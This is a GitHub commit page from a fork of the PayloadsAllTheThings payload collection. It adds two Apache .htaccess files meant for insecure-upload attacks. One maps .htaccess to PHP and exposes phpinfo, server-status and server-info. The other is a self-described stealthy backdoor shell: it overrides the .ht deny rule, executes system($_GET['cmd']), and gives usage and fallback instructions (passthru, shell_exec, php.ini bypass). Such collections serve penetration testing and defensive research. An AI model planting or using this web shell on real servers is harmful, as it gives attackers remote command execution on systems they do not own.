forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
0a01854
commit 21f2b5d
Showing
4 changed files
with
88 additions
and
32 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
5 changes: 5 additions & 0 deletions
5
Upload Insecure Files/Configuration Apache .htaccess/.htaccess_phpinfo
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
AddType application/x-httpd-php .htaccess | ||
# <?php phpinfo(); ?> | ||
SetHandler server-status | ||
SetHandler server-info | ||
|
23 changes: 23 additions & 0 deletions
23
Upload Insecure Files/Configuration Apache .htaccess/.htaccess_shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
# htaccess backdoor shell | ||
# this is relatively stealthy compared to a typical webshell | ||
|
||
# overriding deny rule | ||
# making htaccess accessible from the internet | ||
# without this you'll get a HTTP 403 | ||
<Files ~ "^\.ht"> | ||
Require all granted | ||
Order allow,deny | ||
Allow from all | ||
</Files> | ||
|
||
# Make the server treat .htaccess file as .php file | ||
AddType application/x-httpd-php .htaccess | ||
|
||
# <?php system($_GET['cmd']); ?> | ||
|
||
# To execute commands you would navigate to: | ||
# http://vulnerable.com/.htaccess?cmd=YourCommand | ||
|
||
# If system(); isnt working then try other syscalls | ||
# e.g. passthru(); shell_exec(); etc | ||
# If you still cant execute syscalls, try bypassing php.ini via htaccess |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters